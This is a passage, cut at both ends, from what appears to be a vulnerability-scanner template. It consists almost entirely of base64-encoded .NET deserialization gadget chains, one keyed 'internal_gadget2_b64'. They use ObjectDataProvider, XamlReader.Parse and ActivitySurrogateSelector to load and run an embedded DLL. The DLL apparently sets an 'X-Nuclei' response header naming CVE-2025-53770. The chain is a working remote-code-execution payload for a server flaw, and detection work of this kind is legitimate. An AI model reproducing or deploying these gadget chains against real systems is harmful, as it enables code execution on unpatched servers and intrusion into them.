ZQUY3YWtNOThJRXBSZTVmaGN4d3RZSWh2RXl2NVRhQmQ5K3Y1UzYzdmZaNUtmZk9kZG52dno4TFNSK3VIVWoxNXZlK2FSRmh4YlhOUzJSdUg5NTVZUHVYNU9YdURZbnUrTTZUajRoV1crckh0TTZPeE5hZE16UHlRMjBHRHU5N0pubFdkZVoyQ3lJc2tTN3VPNjU3L2t5MXUvOTllWHNyTjZUeldpZ21YQWw0M3JqdGoxaldrNjQ2RUtvTFNCcDl6eDlkVFd6T3FML0kybHFzYytFcitnZXVkeG5xU1p5U2ZMdHVEYktkNlBoL1pxT3lkczVoeXhXMUVsWllHc0tjenhGSzZ4bjhRYmJrbjZLLy9GUHM5Zm1jbFRMZTJ2L3N6eXVJdWRnd3FNZlM1M0pLVGg0QjY0YUgxQldpeHcxS2ZVNWJpS2duc3RlU1Bmajl6VHBJMHU1eHhFZS9TYWU3aWlkVk8xTEl5L25BQzhRa1ZiVEgyZnhlVE5JUCtVOWNYUTFaNGtHM1J5TFIrMjZUb3EzZTczd09rWUg5U1dHUU9rNnhHNXp2a3lVMkFkNWlTOUNrYmRObW41dTBxckk4ZkMwRGlwYzA5UmJVMVlaUmlsalN5RmJ3enFDQ05PNGlqRVh5YTBvUmhXamM2aFlhWlhYUEgyNGxNcWJNVGlRM2Y3Y1hsRTJWNmpoVTdQRTJiU0pUbitrM1JIOWg2U0gvNy8wOU9NR2NrU1BnLzRGQmVCNm53QU9BQUE9PC9zOlN0cmluZz4KICAgICAgPC94OkFyZ3VtZW50cz4KICAgPC9zOkFycmF5PgogICA8aTpNZW1vcnlTdHJlYW0geDpLZXk9ImlucHV0U3RyZWFtIj4KICAgICAgPHg6QXJndW1lbnRzPgogICAgICAgICA8U3RhdGljUmVzb3VyY2UgUmVzb3VyY2VLZXk9ImRhdGEiPjwvU3RhdGljUmVzb3VyY2U+CiAgICAgIDwveDpBcmd1bWVudHM+CiAgIDwvaTpNZW1vcnlTdHJlYW0+CiAgIDxjOkdaaXBTdHJlYW0geDpLZXk9Imd6aXBTdHJlYW0iPgogICAgICA8eDpBcmd1bWVudHM+CiAgICAgICAgICAgIDxTdGF0aWNSZXNvdXJjZSBSZXNvdXJjZUtleT0iaW5wdXRTdHJlYW0iPjwvU3RhdGljUmVzb3VyY2U+CiAgICAgICAgICAgIDxjOkNvbXByZXNzaW9uTW9kZT4wPC9jOkNvbXByZXNzaW9uTW9kZT4KICAgICAgPC94OkFyZ3VtZW50cz4KICAgPC9jOkdaaXBTdHJlYW0+CiAgIDxzOkFycmF5IHg6S2V5PSJidWYiIHg6RmFjdG9yeU1ldGhvZD0iczpBcnJheS5DcmVhdGVJbnN0YW5jZSI+CiAgICAgIDx4OkFyZ3VtZW50cz4KICAgICAgICAgPHg6VHlwZSBUeXBlTmFtZT0iczpCeXRlIi8+CiAgICAgICAgIDx4OkludDMyPjM1ODQ8L3g6SW50MzI+CiAgICAgIDwveDpBcmd1bWVudHM+CiAgIDwvczpBcnJheT4KICAgPE9iamVjdERhdGFQcm92aWRlciB4OktleT0idG1wIiBPYmplY3RJbnN0YW5jZT0ie1N0YXRpY1Jlc291cmNlIGd6aXBTdHJlYW19IiBNZXRob2ROYW1lPSJSZWFkIj4KICAgICAgPE9iamVjdERhdGFQcm92aWRlci5NZXRob2RQYXJhbWV0ZXJzPgogICAgICAgICA8U3RhdGljUmVzb3VyY2UgUmVzb3VyY2VLZXk9ImJ1ZiI+PC9TdGF0aWNSZXNvdXJjZT4KICAgICAgICAgPHg6SW50MzI+MDwveDpJbnQzMj4KICAgICAgICAgPHg6SW50MzI+MzU4NDwveDpJbnQzMj4KICAgICAgPC9PYmplY3REYXRhUHJvdmlkZXIuTWV0aG9kUGFyYW1ldGVycz4KICAgPC9PYmplY3REYXRhUHJvdmlkZXI+CiAgICA8T2JqZWN0RGF0YVByb3ZpZGVyIHg6S2V5PSJhc21Mb2FkIiBPYmplY3RUeXBlPSJ7eDpUeXBlIHI6QXNzZW1ibHl9IiBNZXRob2ROYW1lPSJMb2FkIj4KICAgICAgICA8T2JqZWN0RGF0YVByb3ZpZGVyLk1ldGhvZFBhcmFtZXRlcnM+CiAgICAgICAgICAgIDxTdGF0aWNSZXNvdXJjZSBSZXNvdXJjZUtleT0iYnVmIj48L1N0YXRpY1Jlc291cmNlPgogICAgICAgIDwvT2JqZWN0RGF0YVByb3ZpZGVyLk1ldGhvZFBhcmFtZXRlcnM+CiAgICA8L09iamVjdERhdGFQcm92aWRlcj4KICAgIDxPYmplY3REYXRhUHJvdmlkZXIgeDpLZXk9InR5cGVzIiBPYmplY3RJbnN0YW5jZT0ie1N0YXRpY1Jlc291cmNlIGFzbUxvYWR9IiBNZXRob2ROYW1lPSJHZXRUeXBlcyI+CiAgICAgICAgPE9iamVjdERhdGFQcm92aWRlci5NZXRob2RQYXJhbWV0ZXJzLz4KICAgIDwvT2JqZWN0RGF0YVByb3ZpZGVyPgogICAgPE9iamVjdERhdGFQcm92aWRlciB4OktleT0iZmlyc3RUeXBlIiBPYmplY3RJbnN0YW5jZT0ie1N0YXRpY1Jlc291cmNlIHR5cGVzfSIgTWV0aG9kTmFtZT0iR2V0VmFsdWUiPgogICAgICAgIDxPYmplY3REYXRhUHJvdmlkZXIuTWV0aG9kUGFyYW1ldGVycz4KICAgICAgICAgICAgPHM6SW50MzI+MDwvczpJbnQzMj4KICAgICAgICA8L09iamVjdERhdGFQcm92aWRlci5NZXRob2RQYXJhbWV0ZXJzPgogICAgPC9PYmplY3REYXRhUHJvdmlkZXI+CiAgICA8T2JqZWN0RGF0YVByb3ZpZGVyIHg6S2V5PSJjcmVhdGVJbnN0YW5jZSIgT2JqZWN0SW5zdGFuY2U9IntTdGF0aWNSZXNvdXJjZSBmaXJzdFR5cGV9IiBNZXRob2ROYW1lPSJJbnZva2VNZW1iZXIiPgogICAgICAgIDxPYmplY3REYXRhUHJvdmlkZXIuTWV0aG9kUGFyYW1ldGVycz4KICAgICAgICAgICAgPHg6TnVsbC8+CiAgICAgICAgICAgIDxyOkJpbmRpbmdGbGFncz41MTI8L3I6QmluZGluZ0ZsYWdzPgogICAgICAgICAgICA8eDpOdWxsLz4KICAgICAgICAgICAgPHg6TnVsbC8+CiAgICAgICAgICAgIDx4Ok51bGwvPgogICAgICAgICAgICA8eDpOdWxsLz4KICAgICAgICAgICAgPHg6TnVsbC8+CiAgICAgICAgICAgIDx4Ok51bGwvPgogICAgICAgIDwvT2JqZWN0RGF0YVByb3ZpZGVyLk1ldGhvZFBhcmFtZXRlcnM+CiAgICA8L09iamVjdERhdGFQcm92aWRlcj4KPC9SZXNvdXJjZURpY3Rpb25hcnk+BAUAAAAiU3lzdGVtLkRlbGVnYXRlU2VyaWFsaXphdGlvbkhvbGRlcgMAAAAIRGVsZWdhdGUHbWV0aG9kMAdtZXRob2QxAwMDMFN5c3RlbS5EZWxlZ2F0ZVNlcmlhbGl6YXRpb25Ib2xkZXIrRGVsZWdhdGVFbnRyeS9TeXN0ZW0uUmVmbGVjdGlvbi5NZW1iZXJJbmZvU2VyaWFsaXphdGlvbkhvbGRlci9TeXN0ZW0uUmVmbGVjdGlvbi5NZW1iZXJJbmZvU2VyaWFsaXphdGlvbkhvbGRlcgkIAAAACQkAAAAJCgAAAAQIAAAAMFN5c3RlbS5EZWxlZ2F0ZVNlcmlhbGl6YXRpb25Ib2xkZXIrRGVsZWdhdGVFbnRyeQcAAAAEdHlwZQhhc3NlbWJseQZ0YXJnZXQSdGFyZ2V0VHlwZUFzc2VtYmx5DnRhcmdldFR5cGVOYW1lCm1ldGhvZE5hbWUNZGVsZWdhdGVFbnRyeQEBAgEBAQMwU3lzdGVtLkRlbGVnYXRlU2VyaWFsaXphdGlvbkhvbGRlcitEZWxlZ2F0ZUVudHJ5BgsAAADIAVN5c3RlbS5GdW5jYDJbW1N5c3RlbS5TdHJpbmcsIG1zY29ybGliLCBWZXJzaW9uPTQuMC4wLjAsIEN1bHR1cmU9bmV1dHJhbCwgUHVibGljS2V5VG9rZW49Yjc3YTVjNTYxOTM0ZTA4OV0sW1N5c3RlbS5PYmplY3QsIG1zY29ybGliLCBWZXJzaW9uPTQuMC4wLjAsIEN1bHR1cmU9bmV1dHJhbCwgUHVibGljS2V5VG9rZW49Yjc3YTVjNTYxOTM0ZTA4OV1dBgwAAABLbXNjb3JsaWIsIFZlcnNpb249NC4wLjAuMCwgQ3VsdHVyZT1uZXV0cmFsLCBQdWJsaWNLZXlUb2tlbj1iNzdhNWM1NjE5MzRlMDg5CgYNAAAAWFByZXNlbnRhdGlvbkZyYW1ld29yaywgVmVyc2lvbj00LjAuMC4wLCBDdWx0dXJlPW5ldXRyYWwsIFB1YmxpY0tleVRva2VuPTMxYmYzODU2YWQzNjRlMzUGDgAAACBTeXN0ZW0uV2luZG93cy5NYXJrdXAuWGFtbFJlYWRlcgYPAAAABVBhcnNlCRAAAAAECQAAAC9TeXN0ZW0uUmVmbGVjdGlvbi5NZW1iZXJJbmZvU2VyaWFsaXphdGlvbkhvbGRlcgcAAAAETmFtZQxBc3NlbWJseU5hbWUJQ2xhc3NOYW1lCVNpZ25hdHVyZQpTaWduYXR1cmUyCk1lbWJlclR5cGUQR2VuZXJpY0FyZ3VtZW50cwEBAQEBAAMIDVN5c3RlbS5UeXBlW10JDwAAAAkNAAAACQ4AAAAGFAAAACJTeXN0ZW0uT2JqZWN0IFBhcnNlKFN5c3RlbS5TdHJpbmcpBhUAAAAiU3lzdGVtLk9iamVjdCBQYXJzZShTeXN0ZW0uU3RyaW5nKQgAAAAKAQoAAAAJAAAABhYAAAAHQ29tcGFyZQkMAAAABhgAAAANU3lzdGVtLlN0cmluZwYZAAAAK0ludDMyIENvbXBhcmUoU3lzdGVtLlN0cmluZywgU3lzdGVtLlN0cmluZykGGgAAADJTeXN0ZW0uSW50MzIgQ29tcGFyZShTeXN0ZW0uU3RyaW5nLCBTeXN0ZW0uU3RyaW5nKQgAAAAKARAAAAAIAAAABhsAAABxU3lzdGVtLkNvbXBhcmlzb25gMVtbU3lzdGVtLlN0cmluZywgbXNjb3JsaWIsIFZlcnNpb249NC4wLjAuMCwgQ3VsdHVyZT1uZXV0cmFsLCBQdWJsaWNLZXlUb2tlbj1iNzdhNWM1NjE5MzRlMDg5XV0JDAAAAAoJDAAAAAkYAAAACRYAAAAKCw=='\n\n  internal_gadget2_b64: '/wEykEgAAQAAAP////8BAAAAAAAAAAQBAAAAO1N5c3RlbS5Db2xsZWN0aW9ucy5HZW5lcmljLkxpc3RgMVtbU3lzdGVtLk9iamVjdCxtc2NvcmxpYl1dAwAAAAZfaXRlbXMFX3NpemUIX3ZlcnNpb24FAAAICAkCAAAACgAAAAoAAAAQAgAAABAAAAAJAwAAAAkEAAAACQUAAAAJBgAAAAkHAAAACQgAAAAJCQAAAAkKAAAACQsAAAAJDAAAAA0GBwMAAAABAQAAAAEAAAAHAgkNAAAADA4AAABeU3lzdGVtLldvcmtmbG93LkNvbXBvbmVudE1vZGVsLFZlcnNpb249NC4wLjAuMCxDdWx0dXJlPW5ldXRyYWwsUHVibGljS2V5VG9rZW49MzFiZjM4NTZhZDM2NGUzNQUEAAAAalN5c3RlbS5Xb3JrZmxvdy5Db21wb25lbnRNb2RlbC5TZXJpYWxpemF0aW9uLkFjdGl2aXR5U3Vycm9nYXRlU2VsZWN0b3IrT2JqZWN0U3Vycm9nYXRlK09iamVjdFNlcmlhbGl6ZWRSZWYCAAAABHR5cGULbWVtYmVyRGF0YXMDBR9TeXN0ZW0uVW5pdHlTZXJpYWxpemF0aW9uSG9sZGVyDgAAAAkPAAAACRAAAAABBQAAAAQAAAAJEQAAAAkSAAAAAQYAAAAEAAAACRMAAAAJFAAAAAEHAAAABAAAAAkVAAAACRYAAAABCAAAAAQAAAAJFwAAAAkYAAAAAQkAAAAEAAAACRkAAAAJGgAAAAEKAAAABAAAAAkbAAAACRwAAAABCwAAAAQAAAAJHQAAAAkeAAAABAwAAAAcU3lzdGVtLkNvbGxlY3Rpb25zLkhhc2h0YWJsZQcAAAAKTG9hZEZhY3RvcgdWZXJzaW9uCENvbXBhcmVyEEhhc2hDb2RlUHJvdmlkZXIISGFzaFNpemUES2V5cwZWYWx1ZXMAAAMDAAUFCwgcU3lzdGVtLkNvbGxlY3Rpb25zLklDb21wYXJlciRTeXN0ZW0uQ29sbGVjdGlvbnMuSUhhc2hDb2RlUHJvdmlkZXII7FE4PwIAAAAKCgMAAAAJHwAAAAkgAAAADw0AAAAADgAAAk1akAADAAAABAAAAP//AAC4AAAAAAAAAEAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA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AAAA/gFTeXN0ZW0uTGlucS5FbnVtZXJhYmxlK1doZXJlU2VsZWN0RW51bWVyYWJsZUl0ZXJhdG9yYDJbW1N5c3RlbS5CeXRlW10sIG1zY29ybGliLCBWZXJzaW9uPTQuMC4wLjAsIEN1bHR1cmU9bmV1dHJhbCwgUHVibGljS2V5VG9rZW49Yjc3YTVjNTYxOTM0ZTA4OV0sW1N5c3RlbS5SZWZsZWN0aW9uLkFzc2VtYmx5LCBtc2NvcmxpYiwgVmVyc2lvbj00LjAuMC4wLCBDdWx0dXJlPW5ldXRyYWwsIFB1YmxpY0tleVRva2VuPWI3N2E1YzU2MTkzNGUwODldXQQAAAAGIgAAAEtTeXN0ZW0uQ29yZSxWZXJzaW9uPTQuMC4wLjAsQ3VsdHVyZT1uZXV0cmFsLFB1YmxpY0tleVRva2VuPWI3N2E1YzU2MTkzNGUwODkQEAAAAAcAAAAJAwAAAAoJJAAAAAoICAAAAAAKCAgBAAAAAREAAAAPAAAABiUAAAD1AlN5c3RlbS5MaW5xLkVudW1lcmFibGUrV2hlcmVTZWxlY3RFbnVtZXJhYmxlSXRlcmF0b3JgMltbU3lzdGVtLlJlZmxlY3Rpb24uQXNzZW1ibHksIG1zY29ybGliLCBWZXJzaW9uPTQuMC4wLjAsIEN1bHR1cmU9bmV1dHJhbCwgUHVibGljS2V5VG9rZW49Yjc3YTVjNTYxOTM0ZTA4OV0sW1N5c3RlbS5Db2xsZWN0aW9ucy5HZW5lcmljLklFbnVtZXJhYmxlYDFbW1N5c3RlbS5UeXBlLCBtc2NvcmxpYiwgVmVyc2lvbj00LjAuMC4wLCBDdWx0dXJlPW5ldXRyYWwsIFB1YmxpY0tleVRva2VuPWI3N2E1YzU2MTkzNGUwODldXSwgbXNjb3JsaWIsIFZlcnNpb249NC4wLjAuMCwgQ3VsdHVyZT1uZXV0cmFsLCBQdWJsaWNLZXlUb2tlbj1iNzdhNWM1NjE5MzRlMDg5XV0EAAAACSIAAAAQEgAAAAcAAAAJBAAAAAoJKAAAAAoICAAAAAAKCAgBAAAAARMAAAAPAAAABikAAADfA1N5c3RlbS5MaW5xLkVudW1lcmFibGUrV2hlcmVTZWxlY3RFbnVtZXJhYmxlSXRlcmF0b3JgMltbU3lzdGVtLkNvbGxlY3Rpb25zLkdlbmVyaWMuSUVudW1lcmFibGVgMVtbU3lzdGVtLlR5cGUsIG1zY29ybGliLCBWZXJzaW9uPTQuMC4wLjAsIEN1bHR1cmU9bmV1dHJhbCwgUHVibGljS2V5VG9rZW49Yjc3YTVjNTYxOTM0ZTA4OV1dLCBtc2NvcmxpYiwgVmVyc2lvbj00LjAuMC4wLCBDdWx0dXJlPW5ldXRyYWwsIFB1YmxpY0tleVRva2VuPWI3N2E1YzU2MTkzNGUwODldLFtTeXN0ZW0uQ29sbGVjdGlvbnMuR2VuZXJpYy5JRW51bWVyYXRvcmAxW1tTeXN0ZW0uVHlwZSwgbXNjb3JsaWIsIFZlcnNpb249NC4wLjAuMCwgQ3VsdHVyZT1uZXV0cmFsLCBQdWJsaWNLZXlUb2tlbj1iNzdhNWM1NjE5MzRlMDg5XV0sIG1zY29ybGliLCBWZXJzaW9uPTQuMC4wLjAsIEN1bHR1cmU9bmV1dHJhbCwgUHVibGljS2V5VG9rZW49Yjc3YTVjNTYxOTM0ZTA4OV1dBAAAAAkiAAAAEBQAAAAHAAAACQUAAAAKCSwAAAAKCAgAAAAACggIAQAAAAEVAAAADwAAAAYtAAAA5gJTeXN0ZW0uTGlucS5FbnVtZXJhYmxlK1doZXJlU2VsZWN0RW51bWVyYWJsZUl0ZXJhdG9yYDJbW1N5c3RlbS5Db2xsZWN0aW9ucy5HZW5lcmljLklFbnVtZXJhdG9yYDFbW1N5c3RlbS5UeXBlLCBtc2NvcmxpYiwgVmVyc2lvbj00LjAuMC4wLCBDdWx0dXJlPW5ldXRyYWwsIFB1YmxpY0tleVRva2VuPWI3N2E1YzU2MTkzNGUwODldXSwgbXNjb3JsaWIsIFZlcnNpb249NC4wLjAuMCwgQ3VsdHVyZT1uZXV0cmFsLCBQdWJsaWNLZXlUb2tlbj1iNzdhNWM1NjE5MzRlMDg5XSxbU3lzdGVtLlR5cGUsIG1zY29ybGliLCBWZXJzaW9uPTQuMC4wLjAsIEN1bHR1cmU9bmV1dHJhbCwgUHVibGljS2V5VG9rZW49Yjc3YTVjNTYxOTM0ZTA4OV1dBAAAAAkiAAAAEBYAAAAHAAAACQYAAAAJMAAAAAkxAAAACggIAAAAAAoICAEAAAABFwAAAA8AAAAGMgAAAO8BU3lzdGVtLkxpbnEuRW51bWVyYWJsZStXaGVyZVNlbGVjdEVudW1lcmFibGVJdGVyYXRvcmAyW1tTeXN0ZW0uVHlwZSwgbXNjb3JsaWIsIFZlcnNpb249NC4wLjAuMCwgQ3VsdHVyZT1uZXV0cmFsLCBQdWJsaWNLZXlUb2tlbj1iNzdhNWM1NjE5MzRlMDg5XSxbU3lzdGVtLk9iamVjdCwgbXNjb3JsaWIsIFZlcnNpb249NC4wLjAuMCwgQ3VsdHVyZT1uZXV0cmFsLCBQdWJsaWNLZXlUb2tlbj1iNzdhNWM1NjE5MzRlMDg5XV0EAAAACSIAAAAQGAAAAAcAAAAJBwAAAAoJNQAAAAoICAAAAAAKCAgBAAAAARkAAAAPAAAABjYAAAApU3lzdGVtLldlYi5VSS5XZWJDb250cm9scy5QYWdlZERhdGFTb3VyY2UEAAAABjcAAABKU3lzdGVtLldlYixWZXJzaW9uPTQuMC4wLjAsQ3VsdHVyZT1uZXV0cmFsLFB1YmxpY0tleVRva2VuPWIwM2Y1ZjdmMTFkNTBhM2EQGgAAAAcAAAAJCAAAAAgIAAAAAAgICgAAAAgBAAgBAAgBAAgIAAAAAAEbAAAADwAAAAY5AAAAKVN5c3RlbS5Db21wb25lbnRNb2RlbC5EZXNpZ24uRGVzaWduZXJWZXJiBAAAAAY6AAAARlN5c3RlbSxWZXJzaW9uPTQuMC4wLjAsQ3VsdHVyZT1uZXV0cmFsLFB1YmxpY0tleVRva2VuPWI3N2E1YzU2MTkzNGUwODkQHAAAAAUAAAANAgk7AAAACAgDAAAACQsAAAABHQAAAA8AAAAGPQAAADRTeXN0ZW0uUnVudGltZS5SZW1vdGluZy5DaGFubmVscy5BZ2dyZWdhdGVEaWN0aW9uYXJ5BAAAAAY+AAAACG1zY29ybGliEB4AAAABAAAACQkAAAAQHwAAAAIAAAAJCgAAAAkKAAAAECAAAAACAAAABkEAAAAACUEAAAAEJAAAACJTeXN0ZW0uRGVsZWdhdGVTZXJpYWxpemF0aW9uSG9sZGVyAgAAAAhEZWxlZ2F0ZQdtZXRob2QwAwMwU3lzdGVtLkRlbGVnYXRlU2VyaWFsaXphdGlvbkhvbGRlcitEZWxlZ2F0ZUVudHJ5L1N5c3RlbS5SZWZsZWN0aW9uLk1lbWJlckluZm9TZXJpYWxpemF0aW9uSG9sZGVyCUIAAAAJQwAAAAEoAAAAJAAAAAlEAAAACUUAAAABLAAAACQAAAAJRgAAAAlHAAAAATAAAAAkAAAACUgAAAAJSQAAAAExAAAAJAAAAAlKAAAACUsAAAABNQAAACQAAAAJTAAAAAlNAAAAATsAAAAEAAAACU4AAAAJTwAAAARCAAAAMFN5c3RlbS5EZWxlZ2F0ZVNlcmlhbGl6YXRpb25Ib2xkZXIrRGVsZWdhdGVFbnRyeQcAAAAEdHlwZQhhc3NlbWJseQZ0YXJnZXQSdGFyZ2V0VHlwZUFzc2VtYmx5DnRhcmdldFR5cGVOYW1lCm1ldGhvZE5hbWUNZGVsZWdhdGVFbnRyeQEBAgEBAQMwU3lzdGVtLkRlbGVnYXRlU2VyaWFsaXphdGlvbkhvbGRlcitEZWxlZ2F0ZUVudHJ5BlAAAAA7U3lzdGVtLkZ1bmNgMltbU3lzdGVtLkJ5dGVbXV0sW1N5c3RlbS5SZ